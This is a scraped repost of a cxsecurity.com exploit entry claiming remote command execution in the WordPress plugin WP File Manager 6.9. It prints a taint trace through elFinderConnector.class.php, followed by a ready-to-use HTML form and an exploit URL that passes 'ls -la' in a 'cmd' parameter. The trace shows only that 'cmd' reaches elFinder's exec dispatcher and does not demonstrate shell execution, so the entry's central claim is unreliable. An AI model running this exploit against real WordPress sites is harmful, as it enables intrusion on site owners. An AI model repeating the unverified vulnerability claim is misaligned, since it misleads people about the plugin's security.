2020-10-30 03:43:32 Author: cxsecurity.com(查看原文) 阅读量:206 收藏
Wp File Manager V6.9 - Remote Command Execution[-] Title : Wp File Manager V6.9 - Remote Command Execution [-] Author : Milad Karimi [-] Vendor : https://wordpress.org/plugins/wp-file-manager [-] Category : Webapps [-] Date : 2020-10-27 Vulnerable Page: /elFinderConnector.class.php Vulnerable Source: 160: exec elFinder->exec ($cmd, $args) 108: $cmd = $src['cmd'] : ''; 93: $src[$key][] = rawurldecode($value); // if((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')), if(!$src || $maxInputVars < count($parts)), if(preg_match('/^(.+?)\[([^\[\]]*)\]$/', $key, $m)), if($idx) else , 82: list($key, $value) = array_pad(explode('=', $part), 2, ''); // list() if((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')), if(!$src || $maxInputVars < count($parts)), 81: foreach($parts as $part) // if((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')), if(!$src || $maxInputVars < count($parts)), 78: $parts = explode('&', $rawPostData); // if((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')), 76: $rawPostData = file_get_contents('php://input')){ // , trace stopped 80: $src = array(); // if((!$src || $maxInputVars) && $rawPostData = file_get_contents('php://input')), if(!$src || $maxInputVars < count($parts)), 74: $src = array_merge($_GET, $_POST) : $_GET; requires: 71: ⇓ function run() Exploit Code: <html> <form action="http://localhost/lib/php/elFinderConnector.class.php" method="GET"> <input name="cmd" type="text"> <input type="submit" value="RCE!" > </form> </html> Exploit URL: http://localhost/lib/php/elFinderConnector.class.php?cmd=ls -la
Thanks for you comment!
|
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |
Copyright 2020, cxsecurity.com
如有侵权请联系:admin#unsafe.sh